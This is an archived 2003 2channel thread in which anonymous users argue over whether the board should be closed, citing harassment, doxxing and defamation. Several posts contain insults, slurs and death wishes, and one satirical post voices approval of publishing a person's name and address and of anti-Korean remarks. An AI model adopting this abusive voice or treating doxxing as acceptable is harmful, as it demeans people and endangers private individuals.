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  2ちゃんねるは閉鎖すべし!Part5   

1 :心得をよく読みましょう:03/05/21 01:08 ID:XyYvhWl2

この諸悪の根源である2ちゃんねるは
一刻も早く閉鎖すべきなのです。
明らかに、日本のインターネットの癌です。

   2ちゃんねるは閉鎖すべし!Part4   
http://qb.2ch.net/test/read.cgi/accuse/1048327799/ 
  2ちゃんねるは閉鎖すべし!Part3   
http://qb.2ch.net/test/read.cgi/accuse/1044864380/
   2ちゃんねるは閉鎖すべし!Part2   
http://qb.2ch.net/test/read.cgi/accuse/1037619139/
  2ちゃんねるは閉鎖すべし!
http://qb.2ch.net/test/read.cgi/accuse/1033126307/


2 :心得をよく読みましょう:03/05/21 01:10 ID:JB6k/5sO
反対


3 :さくら組@はにゃ―ん ◆ArasuByydk :03/05/21 01:11 ID:6QsjyuT6
どっちでもいいよ。

4 :心得をよく読みましょう:03/05/21 01:14 ID:RMvMgY1T
じゃあ反対だね

5 :さくら組@はにゃ―ん ◆ArasuByydk :03/05/21 01:15 ID:6QsjyuT6
じゃあ反対。

6 :心得をよく読みましょう:03/05/21 01:19 ID:5zOrl3gx
>>1
乙。

閉鎖するしないなんて、もうどうでもいいけどな。

7 :心得をよく読みましょう:03/05/21 01:26 ID:XyYvhWl2
age

8 :AA(アスキーアート)とはアメリカの掲示板に在る文字絵のみを指す単語:03/05/21 01:29 ID:xSu+c1DX


>47 :ゆかりぼん :03/05/20 17:35 ID:k5CE9UKo
>「今の2ちゃんねるは生命維持装置をつけられた死に掛けの老人」って誰かが言ってた。


その形容は面白い... 傑作だ...【爆笑】
47さんへザブト3枚.....



9 :心得をよく読みましょう:03/05/21 01:29 ID:S1SXLtYu
そのうち雑談系に移行しそうな板になってしまったな>批判要望板

10 :高句麗 ◆OIZKOUKURI :03/05/21 01:32 ID:QOPKRxOe

                >\\\\ 彡  彡   彡
 ウエーン!        >\\\\\ ビュゴオオーーー!!!
 入れてよぅーーー!! >彡\\\彡\
               >\\\\\\\ 彡  彡  彡
VVVVVVVVVVVVVVVV  ̄彡 ̄ ̄ ̄彡 ̄ ̄  ∧∧∧∧∧∧∧
     _____           彡  彡 <
彡    |        |  彡 , へ _ /\   < ウエー―――ン
   彡_|__ドンドン!!    \ \/  / 彡 <
    |:_彡____:| 彡  |\ \/:|     VVVVVVVVVVVV
    |::__O∧_∧     :|/\  \|  ∧_∧ 彡  彡
 彡  |:__ (Д`  )  /  /\   <⊃Д` )      彡
    |:__⊂   ○ )  \/ ̄ ̄\  ヽ    )  彡
  彡 |::__  ヽ  ヽ ヽ 彡     彡  |  .|  .|  彡  彡
 __|:____( _丿丿___彡____(___(__)
  彡    彡    __ 彡 __  彡
             |\_____\
             \|三三三三三三|


11 :心得をよく読みましょう:03/05/21 01:38 ID:XyYvhWl2
age

12 :心得をよく読みましょう:03/05/21 22:34 ID:gthJufH8
だいぶ閉鎖も近くなって来たな

13 :心得をよく読みましょう:03/05/21 22:38 ID:EspvHxp/
なんか今日も重いよーーーーーーー


14 :心得をよく読みましょう:03/05/21 23:53 ID:QJF6GMLr
始めまして - Hetzjagd Auf Nazis! 2003年05月21日 (水) 23時55分

始めまして。私も2ちゃんねるが大嫌いな人の一人です。
荒らし依頼などを書き込んで、しかも気に入らない、面白いってだけで集団で荒らしに行って潰して、それも被害者を叩き上げたりするような態度には私も頭に来ています。
バスジャックや猫虐待中継など、事件も多数起こす、他人の個人情報はばらして、誹謗中傷を加える、削除以来にも全く応じない運営陣の怠慢な対応、サーバーがアメリカにあるとはいえ、よく規制されなかったと理不尽に思えてなりません。
2ちゃんねるはナチスドイツや北朝鮮などと同じだと言う意見も出てきていますが、本当にそうですね。2ちゃんねるに少しでも異論を唱えると、集団で叩き上げて、読めないほどの悪口まで書き込んで、まるでナチスの共産主義者&ユダヤ人狩りです。

長文になって失礼しましたが、私も2ちゃんねるに対して嫌悪の意を持っており、同じ反2chであるあなたに賛同します。
これからも、頑張って極悪下劣サイト2ちゃんねると戦ってください。応援しています。
-------------------------------------------------------------
まゆタンの掲示板にこういうのを書き込むなよ馬鹿アンチw

15 :心得をよく読みましょう:03/05/22 01:21 ID:FTVtdBMT
>1
おつかれ。
マジで閉鎖してほしい
せめて私人への中傷が簡単にできる今の状態は改善してほしい

16 :記念クワッパ ◆AOLXPaPiKo :03/05/22 03:08 ID:9IyP6zcl
2chにSARSを蔓延させよう。

17 :心得をよく読みましょう:03/05/22 06:14 ID:bj8zj1yp
閉鎖するしかないぞ

18 :心得をよく読みましょう:03/05/22 07:03 ID:1FKa04sL
>14
結局はそういう行為を言ってんじゃねぇのか
いい加減気づけよ

19 :心得をよく読みましょう:03/05/22 09:47 ID:ukjmqlEu
2ちゃんって>>307みたいな人ばっかりなんやろ。やばいな

20 :心得をよく読みましょう:03/05/22 09:52 ID:oraZ1w/e
DHC7億円訴訟より相次ぐネット自殺で
管理人のくせに朝日新聞で責任ない投書したから
遺族が訴訟起こせば一斉にマスコミ叩きにあって
閉鎖に追い込まれると思うよ
まああと1年ってとこだな

21 :心得をよく読みましょう:03/05/22 10:46 ID:+KL3X3tS
↑同意します

22 :心得をよく読みましょう:03/05/22 11:12 ID:UYoFkb51
このひろゆきって奴は、なんもポリシーないのかねぇ。
なんとなくだけど、無さそうだな。
ボーっとしてそうだ。
20代に見えないしな・・
もっとしっかりしてほすぃものだ。シュッとしろ!ひろゆき君。

23 : :03/05/22 11:33 ID:g7BqKgjL
ひろゆきのポリシーは「だされたご飯は残さず食べる」。


24 :心得をよく読みましょう:03/05/22 13:16 ID:TYoyKrba
とりあえず一人暮らし始めてみますた。

25 :心得をよく読みましょう:03/05/22 15:37 ID:oraZ1w/e
ニフ「フォーラム」
fj「usage」。。。
匿名掲示板「2ch」も
懐かしい、昔やったな
って話になる日も近いw

26 :記念クワッパ ◆AOLXPaPiKo :03/05/22 15:46 ID:9IyP6zcl
継続は力なり。
と言う訳で早く閉鎖しろ。

27 :心得をよく読みましょう:03/05/22 19:22 ID:bj8zj1yp
閉鎖しろ

ほとんどの国民が願っている

28 :心得をよく読みましょう:03/05/23 00:25 ID:Peu1kLuc
2ちゃんはウンコの巣窟

29 :心得をよく読みましょう:03/05/23 00:35 ID:TQ7Ciejv
一日中張り付いてる馬鹿なんて平気でいる。
早く閉鎖して社会復帰させてあげるべき

30 :心得をよく読みましょう:03/05/23 00:43 ID:MWBrClt/
白装束集団より2ちゃん擁護のほうが狂ってる

31 :&rlo;&rlo;&rlo;:03/05/23 00:44 ID:+U+A11Ie


32 :心得をよく読みましょう:03/05/23 00:57 ID:AogRajLn
閉鎖してほしいです。私ある掲示板であることないこと書かれてます;落ち込んだりもしました。
もうこの掲示板がなくなればいいのに・・・・

33 :心得をよく読みましょう:03/05/23 01:02 ID:1EMEBMYL
一日中はりついていたわけなんですが、グロい映像をみたり、
読んだりすると吐き気がしますね。
まぁ自分がみなきゃいいんだけどさぁ・・・・


34 :心得をよく読みましょう:03/05/23 01:32 ID:XCDpOOUP
私人への中傷が売り物である以上、この便所の落書き板が世に認められる事はない

35 :マイク ◆yrBrqfF1Ew :03/05/23 04:42 ID:+YR0BF2a
>>27 そうですね。
>>28 かなり的を得てるかも。
>>29 そんな感じ。
>>30 真実。
>>32 2chネラ被害者の味方はアンチだけです。一緒に頑張りましょう。
>>34 大正解だよ。

36 :心得をよく読みましょう:03/05/23 04:56 ID:tz23jJzB
嫌いなら見なければいいのに

37 :心得をよく読みましょう:03/05/23 05:03 ID:XistDUfc
自分が見なくても2chによって問題ある人間が増えるのはまずいでしょう。

38 :心得をよく読みましょう:03/05/23 09:47 ID:cn3Caaxw
>36
君の事を中傷しているスレッドが存在していたとしても
「嫌なら見なけりゃいい」と言えるのかね?
ひきこもりには中傷される心配が無いからいいね

39 :心得をよく読みましょう:03/05/23 11:12 ID:scTrpuSU
agemonoはまずいよね?

40 :心得をよく読みましょう:03/05/23 11:55 ID:YyAOUWJI
ここが悪を生み出す原動力になっているとは思わない。
だけど、誰かと誰か、結びつかざるべき者たちを結び付けてしまっている
場にはなってるよね。

他にも掲示板なんて無数にあるけどさ( ´ロ`)
前はもっとアングラな掲示板や小さな小さな場所でやり取りされていたような
ことでも、とりあえずここに来れば簡単にきっかけが出来ると・・
Yahooとはまた違う異質なポータルサイトだよな。

だから影響を与える規模が大き過ぎるわけだ。
全部ひろゆきのせいなんて言ったらかわいそうだと思うけど、
なんかやっぱ、方向性は必要なんだよね( )`‥´( )

聞き飽きた?( ´∀`)

41 :心得をよく読みましょう:03/05/23 12:11 ID:gVeRuVep
一昨年の8月に素直に閉鎖しとけば、2chは
「人気がありすぎて閉鎖した伝説のサイト」として語り草になっただろうに…
今の2chはなかなか死なずに親類にさえ見放されてる老人みたい。

42 :本当です。:03/05/23 12:16 ID:vj8qy4L7
仕方ないでしょう。
人気が上がってすぐに同じ勢いで人気が急降下したんですから。
仕方ありませんよ。あと少しの辛抱です。がんばりましょう皆さん!

43 :心得をよく読みましょう:03/05/23 12:22 ID:SbYS4bXj
君たちさ、仮に2chが閉じた場合のその後について考えられないの?
畑を食い尽くしたイナゴの群は、次の畑に向かって飛び立つだけだ。
その畑が、自分のサイトでない保証なんかどこにもない。

44 :心得をよく読みましょう:03/05/23 12:41 ID:YyAOUWJI
>>43
考えますよ。
同じ危惧は感じるけど、ここの現状を思えば
このまま縮小して行くか、これはこれで一つの幕を
落とすべきだと思うけどね。

2chを知って、そうでなかった人達がそうなってしまった
という面もあるんでない?

だから逆に考えれば、巨大なここが無くなれば、我に返る
人達も出ると思う。だから拡散して行く事をそれほど心配する
必要はないと感じるけど。

結構長かったブームだけど、終わればまた別方面に行くと思うけどね。
口も心も悪くなって、引きこもりも酷くなった人も居る。
今やるべきだよ。

45 : :03/05/23 13:51 ID:jlTF+ngx
電波2ちゃんはウンコの巣窟

46 :心得をよく読みましょう:03/05/23 14:07 ID:YmWHAHsU
よく「2chがなくなると荒らしが他に行くぞ」と書いて
言い訳している関係者を見るが
元々、2chはなかったわけだから、元に戻るだけ。

2chがなくなれば荒らす場所がなくなるだけで
今でも他のサイトでは普通に振る舞ってる奴が多いんだから
他のサイトでは荒らしは多発しない。

2chがあるから荒らしが多発してるだけ。


47 :心得をよく読みましょう:03/05/23 14:15 ID:KMX0WrHJ
2ch内部を荒らしてる奴は他サイトでもきっかけさえあれば荒らすだろう。
2ch発で他サイトを荒らしてる奴は、2chが無くても荒らすだろう。

48 :心得をよく読みましょう:03/05/23 14:25 ID:YyAOUWJI
>>47
それはどうかな?
ここだから起こっている事なんでない?
ある意味、ここだと甘えられるから荒らす、と考えるけど。

他でここでやっているようなことをそのまま行えば今なら
簡単に告訴できると思うしな。

身元誤魔化せられるスキルを持った人間が大勢いる様には
思えないけど。

49 :心得をよく読みましょう:03/05/23 14:36 ID:KMX0WrHJ
>ある意味、ここだと甘えられるから荒らす、と考えるけど。
要求を通すために暴れる奴は他所でもやるだろ。

>簡単に告訴できると思うしな。
無理だろ。現在どこであっても荒らして訴えられてる奴なんてさっぱり見ないわけだが。

50 :心得をよく読みましょう:03/05/23 15:02 ID:YmWHAHsU
>>49
関係者必死っぽいがw

>要求を通すために暴れる奴は他所でもやるだろ。
何の要求か知らんが、2chほど派手に大人数ではやれない。
2chがあるからエスカレートするだけ。

>無理だろ。現在どこであっても荒らして訴えられてる奴なんてさっぱり見ないわけだが。
荒らして捕まった奴はいっぱい居るが??
2chのリンク先の女子中学生のHPに不正にアクセスして
何人も捕まったりしてますが??
他にも挙げれば切りがありませんが???


51 :心得をよく読みましょう:03/05/23 15:12 ID:KMX0WrHJ
>>50
頭の悪い人は無理しないほうがいいですよ。

>何の要求か知らんが、2chほど派手に大人数ではやれない。
掲示板荒らしなんて一人で十分できます。

>2chのリンク先の女子中学生のHPに不正にアクセスして
不正アクセスと荒らしは全く別。荒らしは不正アクセス防止法では捕まりません。

52 :心得をよく読みましょう:03/05/23 15:37 ID:aTsjBU7R
>掲示板荒らしなんて一人で十分できます。

投票所荒らしは一人じゃ限界があるな

53 :心得をよく読みましょう:03/05/23 15:42 ID:x7sWfCI8
>一人でも
一人でも出来るが面白くないだろうなぁ

54 :心得をよく読みましょう:03/05/23 15:46 ID:KMX0WrHJ
>>53
面白いも面白くないもスクリプト使うだけだから関係ありません。

55 :心得をよく読みましょう:03/05/23 15:48 ID:x7sWfCI8
>スクリプト
はぁ・・・

珍走を一人でやっても面白く無いのと一緒

56 : ◆DIVER/dx5c :03/05/23 15:50 ID:F3Z1Me9R
>2chがあるからエスカレートするだけ。
これは事実だな。
みんなで渡ればなんとやらを地で行っている奴が多い。
たまに堂々と一人なり少人数でやる連中もいるが(これについては2ちゃんに限らん)。

2ちゃんに限らず同程度の規模があれば何処ででも起こりうる話だ。
ただしそのサイトが2ちゃんと同時に存在する事は恐らく不可能だろう。

57 :心得をよく読みましょう:03/05/23 15:57 ID:YmWHAHsU
>>51
ヲマエこそ頭悪いな。
「大人数ではやれない」と書いてるのに一人で・・・・話にならん。
小学校からやりなおしてこい!!

他のサイトに悪さをするということでは
不正アクセスも荒らしも同じじゃ、ヴォケ!!!



58 :心得をよく読みましょう:03/05/23 16:00 ID:IyHPANIV
http://members.tripod.co.jp/nichkirai/index.htm
ここは??


59 :心得をよく読みましょう:03/05/23 16:12 ID:KMX0WrHJ
>>57
そうそう、論破されたらそういうふうに話をそらすのが賢明ですよ。
でも、、、

>「大人数ではやれない」と書いてるのに一人で・・・・話にならん。
大人数など必要ない。スクリプトさえあれば一人で十分派手に荒らせます。

>不正アクセスも荒らしも同じじゃ、ヴォケ!!!
不正アクセスと違って荒らしでは逮捕されません。

60 :心得をよく読みましょう:03/05/23 16:24 ID:aTsjBU7R
>大人数など必要ない。スクリプトさえあれば一人で十分派手に荒らせます。

論点になってるのは「荒らせるかどうか」でなくて「実際に荒らすかどうか」でないの?
スクリプトなんて使ってるの(持ってるの)2chで荒らしやってる奴の中でも少数派だろうし
第一に「スクリプトで荒らして面白いか」これが一番重要だ。

61 :心得をよく読みましょう:03/05/23 16:55 ID:KMX0WrHJ
>第一に「スクリプトで荒らして面白いか」これが一番重要だ。
ああ、それは荒らしのタイプによるね。コミュニティを破壊して住人があたふたするのを楽しむタイプとか、
なんらかの要求(HP閉鎖とか)のために荒らすタイプとかはスクリプトで十分楽しいだろう。
ヲチ→突入のいわゆる祭りではスクリプトは興醒め。まぁ、祭りは多人数でないと面白く無いが、
それ以上に相手のHPが面白くないと成立しないな。
で、祭りは告訴するのは無理。人数が多いだけで普通に掲示板使ってるだけだから。

62 :心得をよく読みましょう:03/05/23 16:57 ID:KMX0WrHJ
>>58
見事にネタだったね。

63 :心得をよく読みましょう:03/05/23 21:08 ID:Y42gnShu

いつもsageる洗脳されたアフォな信者には

何でも2chが正しく見えるらしい。

白い布を巻いている人達と、頭の程度は同じだなw


64 :心得をよく読みましょう:03/05/24 00:18 ID:3jqK2ZUx
2ちゃんを崇拝してる人なんかおるんか?
やっぱりオタク系の人?

65 :心得をよく読みましょう:03/05/24 00:21 ID:rOW7EciW
>>64 いるみたいだよ。どっかのスレにひろゆき来たりすると
キターーーってレスばっかりになる。アホくさい。

66 :心得をよく読みましょう:03/05/24 00:29 ID:xBYOVwgN
崇拝なんかしてるの?きもいね
俺から見れば自分の楽しみの為には他人が嫌な思いをしても構わないと考えているガキにしか見えないが

67 :記念クワッパ ◆AOLXPaPiKo :03/05/24 00:37 ID:0Nx/bRNp
一日一回、早く閉鎖しろ。

68 :心得をよく読みましょう:03/05/24 00:39 ID:4KsbjXc3
>58
2ちゃんのなかでも底辺争うね。


69 :KC-130@マァヴ ◆jxAYUMI09s :03/05/24 00:43 ID:trWTilZu
>67
それいいな(^_^;)
「毎日午前6時から一分間は2ch閉鎖です。
閉鎖中の書き込み閲覧はご遠慮ください・・・・」

70 :心得をよく読みましょう:03/05/24 00:46 ID:yx29Cbkj
http://messages.yahoo.co.jp/bbs?.mm=GEO&action=m&board=1075194&tid=a1vkma4na55a5a4a5ha4o2bf8na1a9a1wa4hbbwa4ca4fa4a4a4kjfd&sid=1075194&mid=1&type=date&first=1




http://messages.yahoo.co.jp/bbs?.mm=GEO&action=m&board=1075194&tid=a1vkma4na55a5a4a5ha4o2bf8na1a9a1wa4hbbwa4ca4fa4a4a4kjfd&sid=1075194&mid=1&type=date&first=1


71 :心得をよく読みましょう:03/05/24 01:38 ID:Vvd/lWpr
現実から逃げるのはやめようぜ
幸せってのは誰かの不幸のうえに成り立ってるんだよ。
それが嫌ならアフガンにでも逝け

72 :心得をよく読みましょう:03/05/24 02:32 ID:q12WpnqK
アンチが管理側固定を直接煽らないのはなんでだろ〜

73 :心得をよく読みましょう:03/05/24 04:34 ID:iakuFMTd
>>64-65
「2ちゃんヲタ」ってことだろね

74 :2ちゃんねる宗教:03/05/24 04:38 ID:PeLcpHji
「おい、2ちゃんねるって知ってるか?2ちゃんねる。
ネット上にある巨大掲示板のことなんだけどさ、マジ面白いぞ。
世間では知りえない情報が詰まっててさ、世の中の見方が変わるって感じかな。
新聞とかテレビのニュースとかよりよっぽどためになる」
「韓国って最低の国なんだよ。W杯でも審判買収してベスト4だよ。あきれちゃうよね。
韓国が何で最低かってことも2ちゃんねるには書いてある」
「インターネット上での猫虐待中継って言う事件あったじゃん。アレが起ったのも2ちゃんねる。
そういう屑みたいなのもいるんだけどさ、2ちゃんねるのすごいところはそういうやつに
2ちゃんねるなりに制裁を加えるってことなんだ。どういうことをやったかって言うと、
そいつの本名公開はもちろんのこと住所とか、そいつの親父の働いてるところに、
ビラを撒いたりしたんだ。まあこれくらいは当たり前だよな」
「フジテレビが去年の夏、24時間テレビみたいなのやったじゃん。あれで湘南の海岸をきれいにするって言う企画があったわけよ。
そこで俺たちは面白いことを考えた。テレビより先にきれいにしてやろうって(笑)
それでまじで2ちゃんねらは集まってさ海岸をきれいにしたんだよ。すごいだろ。
フジテレビもあの企画つぶれて困ったろうな(笑)」
「正直言って新聞なんか見てたらだめだよね。あんなの捏造ばっか。特に朝日
アレはもう日本をだめにした元凶だよ、本当に」
「2ちゃんねるってレベル高い人はマジレベル高くってさ、評論家が言ってることの
間違いとかもすぐ指摘したりする。マジすごいよ。俺もああいうの目指してる」
「2ちゃん党っていうのできたらいいと思うよマジで。2ちゃんねらは日本のことマジ考えてるし、
2ちゃんが団結したらマジ日本変えられると思う」
「お前も2ちゃんやれよ。マジ世界観変わるから。
そこら辺の一般人よりもはるかにレベルが高くなるよ」

75 :心得をよく読みましょう:03/05/24 05:45 ID:bthUdnC8
2ちゃんねるはマジで閉鎖した方がいい
情報収集出来るからよく使ってるとか言う人もいるが
何処の板でも必ず信者みたいな奴がいる、それに対抗するアンチみたいなのも必ずいる
こいつらが必死になってるだけでまったく情報価値が無い、脳内の事をを押し付けられてるだけ
12時間でも17時間でも平気で張り付いてる奴もいる
それからここが匿名掲示板と言うことを良い事に企業がアルバイトの一人や二人雇って
2ちゃんねるで自社の商品を宣伝していると言う事も考えられる
発信元の見えない宣伝、批判と言う感じでとても情報が信じられない
後は便所の落書きのような書き込みと人種差別や気に入らないものの徹底中傷など
人間の悪い所を詰め込んだような感じがする
この掲示板のせいで逮捕された人、傷ついた人・・・数え切れない
早めに閉鎖すべき

76 :心得をよく読みましょう:03/05/24 06:34 ID:ij5HgmDT
どうでもいい

77 :心得をよく読みましょう:03/05/24 09:01 ID:AMnz3Ubu
2ちゃんねるに情報価値を求めるな。
ここは馬鹿を観察するところです。

78 :心得をよく読みましょう:03/05/24 13:16 ID:Utd63sV7
>>75
同意だね。
雑誌の記事の捏造なんかも日常茶飯事だしな。
悪い事にしか使われていないな。
>>77
ま、馬鹿というかキチガイが多いからな。
特に2ch信者は皆そうだからな。
ある意味、同意するね。


79 : :03/05/24 13:32 ID:wJuuIwjl
記事の捏造というとこれ↓とかですね。
http://qb.2ch.net/test/read.cgi/accuse/1051873662/111

80 : ◆IZUMIgeVMA :03/05/24 15:22 ID:YRVWTtB/
>72
懲りたから。

81 :心得をよく読みましょう:03/05/24 17:10 ID:6XP1yvoC
あげてやる

82 :心得をよく読みましょう:03/05/25 01:11 ID:zFvlpqnd
一昨年の8月に素直に閉鎖さえしとけば
2chは「人気がありすぎて閉鎖した伝説のサイト」として語り草になっただろうに…
今の2chは、なかなか死なずに親類にさえ見放されてる老人みたい。

83 :心得をよく読みましょう:03/05/25 01:22 ID:vs3iVY7N
2chを閉鎖すること自体日本の北朝鮮化を深めることになるけどな

84 :心得をよく読みましょう:03/05/25 01:28 ID:MnhhODo/
>>83
なんで?

85 :心得をよく読みましょう:03/05/25 01:36 ID:13cFvqPy
>83
つい10年前までネット自体が普及してなかったのに、何を言ってるの?
さすが2ちゃんねらーだ

86 :心得をよく読みましょう:03/05/25 11:21 ID:1NPYUnvr

あめぞうでは、みんなに嫌われていた西村w

あめぞうでは、必死に低姿勢で勧誘していた西村w

あめぞう住人に論破されて、切れていた西村w



87 :心得をよく読みましょう:03/05/25 11:45 ID:ZPlQvN7A
ageage

88 :  :03/05/25 16:33 ID:zFvlpqnd
age

89 :記念クワッパ ◆AOLXPaPiKo :03/05/25 16:43 ID:9J//JDDm
一日一回早く閉鎖しろ。

90 :心得をよく読みましょう:03/05/25 16:55 ID:dHAfRKmh
固定が何をほざく

91 :心得をよく読みましょう:03/05/25 20:02 ID:6eA6njd9
>>89
キチガイしね

92 :心得をよく読みましょう:03/05/26 00:36 ID:UeLuipBn

あめぞうでは、みんなに嫌われていた西村w

あめぞうでは、必死に低姿勢で勧誘していた西村w

あめぞう住人に論破されて、切れていた西村w


93 :マイク ◆yrBrqfF1Ew :03/05/26 02:54 ID:oSNYS+Dc
そうだったんですか。

94 :心得をよく読みましょう:03/05/26 02:59 ID:AyROyfud
あめぞう&あやしい・・・2chねら丸出しの奴とは関わりたくない
1ch.tv・・・脱2chならぬ反2ch
批判要望板アンチ・・・アンチスレ立てたりあげたりで徹底抗戦
あってないようなUGサイツ・・・2chの厨房とは関わりたくない

95 :心得をよく読みましょう:03/05/26 03:12 ID:iRQ+tEbv
ぁゃιぃわーるどへのリンクを2ちゃんねるに張った場合、そこからのリンクは
拒絶されて追い返されてしまう。
http://www.strangeworld.org/

96 :95:03/05/26 03:12 ID:iRQ+tEbv
 あれ? 追い返されないぞ?

97 :心得をよく読みましょう:03/05/26 14:17 ID:pb3KYLSP
( ´,_ゝ`)

98 :心得をよく読みましょう:03/05/26 15:50 ID:VUv8BCIZ
>>97
マルチポストすんな

99 :心得をよく読みましょう:03/05/26 21:25 ID:3f7AFyYp
しょせん便所の落書きじゃん
まともな人間は皆、そう思ってるよ

100 :心得をよく読みましょう:03/05/26 21:29 ID:o3zZv84v
>>99
 そこらの駅や公園の便所とは訳が違う。ワールドワイドな便所だから始末が悪い。

101 :心得をよく読みましょう:03/05/27 00:22 ID:k/iJxZXO
早く、この世から2chを消して欲しい!!!


102 :心得をよく読みましょう:03/05/27 14:12 ID:k/iJxZXO
ある板で、数ヶ月前から個人攻撃のスレッドを立てられて困っています。
住所を一部伏せて公開されたり、学校名や職場もかかれました。

しかし 削除人は削除しないで「ごきげんよう」などとふざけた口調で
とぼけています。

2ちゃんねるは閉鎖すべきです。無責任過ぎます。
相手がどんな気持ちになっているのか少しは考えて欲しい。

合法だから何をしてもいいのか?何でも許されるのか?
ひろゆきはひょうひょうとしているが、笑って済ませられません。
2chのせいでどれだけの人が悩んでいると思う。

「嫌なら見なければ良い」などという規模の掲示板じゃないだろ。
影響力はすごくあるんだぞ。

本当にふざけている。


103 : :03/05/27 14:35 ID:m1OVeQcA
>>102
君がヲチされるのはこんなことを素で書いちゃう人だからだと思うよ。

578 :心得をよく読みましょう :03/05/27 00:02 ID:k/iJxZXO
殺されるべきだな

38 名前:心得をよく読みましょう :03/05/27 13:32 ID:k/iJxZXO
2chは碌に働きもしない引き篭もり無職がうさ晴らしする為のもの

104 :心得をよく読みましょう:03/05/27 19:17 ID:RUYsAOed
あの時閉鎖していればひろゆきもこんな苦労することなかったのに・・・

105 :心得をよく読みましょう:03/05/27 19:53 ID:79bR6Vgc
>>102が苛められてるスレってどこ?

106 :心得をよく読みましょう:03/05/27 19:59 ID:qXSU2CJf
1はよく言った!!!!!もっと2chの悪事悪行を暴露しろ!!!!!



107 :心得をよく読みましょう:03/05/27 20:58 ID:WY6/EUHM
>>103
 違うのかよ。どちらも正論じゃんかよ、死ねよお前。

108 :本7 ◆HON7/awDa. :03/05/27 21:04 ID:5SA7LKKK
ミラーサイト作るし手伝って
http://qb.2ch.net/test/read.cgi/accuse/1054036879/


109 :心得をよく読みましょう:03/05/28 00:29 ID:Y7vDuPE3
あめぞうでは、みんなに嫌われていた西村w

あめぞうでは、必死に低姿勢で勧誘していた西村w

あめぞう住人に論破されて、切れていた西村w

110 :本7 ◆HON7/awDa. :03/05/28 00:35 ID:qfTuC0Uz
辛抱強くて突拍子もない人がが勝つわけですな

111 :心得をよく読みましょう:03/05/28 00:35 ID:nOa79s74
あめぞう2000行ってみたけど
Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, admin@dr.st88.arena.ne.jp and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

で見られないじゃん。早く直せよ。

112 :心得をよく読みましょう:03/05/28 00:37 ID:nOa79s74
amezo.comはなんかドメイン切れてるし
ざー2ぐらいじゃん。まともに見られるの。

113 :心得をよく読みましょう:03/05/28 00:38 ID:nOa79s74
ざー2はあめぞうと別物らしいし。
あめぞうもうだめぽ。

114 :心得をよく読みましょう:03/05/28 00:41 ID:nOa79s74
あめぞうリンクは生きてるね。
なんかもう虚しくなってきた

115 :心得をよく読みましょう:03/05/28 00:43 ID:2n5BcmS9
閉鎖しなくていいよ。
ていうかお前らが何かここに書き込んでも何も変わらないだろ。
人間の盾と同じでさ

116 :心得をよく読みましょう:03/05/28 00:59 ID:a5GZG4O1
>>113
ざー2は美少女・水谷わひょみが管理してる
30過ぎたら、癒しの楽園ざー2@カロビーへどぞどぞ

117 :心得をよく読みましょう:03/05/28 04:32 ID:Y7vDuPE3
2ちゃんは社会悪を馬鹿の一つ覚えのように無茶苦茶に叩くが
2ちゃんによる社会悪はまったく見て見ぬ振りをする。
擁護派の意見もまったく思考停止している。
何か言うと、「そんな人は前からいました。」とか「そんなことは前からありました。」とか
「良い人もいれば悪い人もいる。そんなの当たり前」とか言って逃げる。
また、すぐに「嫌なら来るな!」とか「2chの中傷もアンチ2chの批判も同じ。」とか
話の内容そのものはまったく無視して、主旨と全然違う事を言って逃げようとする。
または、話の一部分だけ取り上げて話の論点を逸らそうとする。
擁護派はまともに話をしたくないから、まともな話をしようとしない。
ただ、アンチ2ch派の話は耳が痛いからそれから逃げようとしてるだけ。
2ちゃんねるによる社会悪はまったく無視できる物ではない。大変な悪影響を与えている。
一般の社会悪に対しては針小棒大に取り上げて、まるで大犯罪のように誇張して叩きまくるクセに
2ちゃんねるによる社会悪は「そんなことー前からありましたよー」の一言で済まそうとする。
こんな軽薄なヤツらを生み出した2ちゃんねるは即刻閉鎖すべし。


118 :心得をよく読みましょう:03/05/28 04:40 ID:CVUyXNbC
だってアンチが書き込むのほとんど出尽くして語りつくされてる話題じゃん。
googleで過去ログ嫁よ(w

119 :マイク ◆yrBrqfF1Ew :03/05/28 04:59 ID:Pumy22Ku
あ〜
早くぶっ潰れないかな〜

120 :心得をよく読みましょう:03/05/28 05:02 ID:+v88ItX1
>>118
同じネタコピペするしか能がない人達でつから。
ここでアンチ活動アピールすればそれで満足するんでしょ。

121 :心得をよく読みましょう:03/05/28 07:02 ID:EifinN9B
ここで閉鎖しろ閉鎖しろと騒いでるだけじゃ
何の意味もないことがわからないんだろうか。

実際に被害を受けたんなら訴訟を起こして
2ちゃんから賠償金をせしめろ。

叩き潰したいなら影響力のある政治家にでもなって
叩き潰せるような法案を通せ。

ここで騒いでるだけなら便所に落書きするのと同じだよ。

単なる暇つぶしなら止めないけどな。

122 :心得をよく読みましょう:03/05/28 10:14 ID:GjjMRNNa
なんで「ここで閉鎖しろ閉鎖しろと騒いでるだけ」って分かるんだろう?

123 : :03/05/28 11:26 ID:3BdUBmar
>何か言うと、「そんな人は前からいました。」とか「そんなことは前からありました。」とか
>「良い人もいれば悪い人もいる。そんなの当たり前」とか言って逃げる。
アンチはそれを論破できてないわけだが。

>また、すぐに「嫌なら来るな!」とか「2chの中傷もアンチ2chの批判も同じ。」とか
>話の内容そのものはまったく無視して、主旨と全然違う事を言って逃げようとする。
論ずるに足りる内容のあるアンチの主張なんてあったっけ?

>擁護派はまともに話をしたくないから、まともな話をしようとしない。
>ただ、アンチ2ch派の話は耳が痛いからそれから逃げようとしてるだけ。
自分にまともな議論の能力がないことを相手のせいにしようというわけですね(w

>2ちゃんねるによる社会悪は「そんなことー前からありましたよー」の一言で済まそうとする。
アンチはそれを論破できてないわけですが。

124 :心得をよく読みましょう:03/05/28 12:24 ID:QrqW6mAO
>>122
はあ

125 :心得をよく読みましょう:03/05/28 12:44 ID:b1nXNzbn
そもそも議論だの論破だのっておかしいと思うけど。
叩かれるのは叩かれる方が悪い、言いたいことは何を言ってもかなわない、
などと平気でいう連中をそう簡単に説得できるわけないわな。

126 :心得をよく読みましょう:03/05/28 12:45 ID:3BdUBmar
>>125
つまり説得する気もなくただ喚いているだけですね。

127 :心得をよく読みましょう:03/05/28 14:35 ID:Y7vDuPE3
ま、2ちゃん信者は洗脳入ったキチガイだから
世間の2ちゃんに対する評判の悪さを認めたくないだけさ。
オウム信者やパナウエーブ信者と同じ。
要するに、キチガイってことさ。

128 :心得をよく読みましょう:03/05/28 15:21 ID:43BgbiAc
ここなくなたら、ヲタor引きこもりの居場所がなくなる、プッ

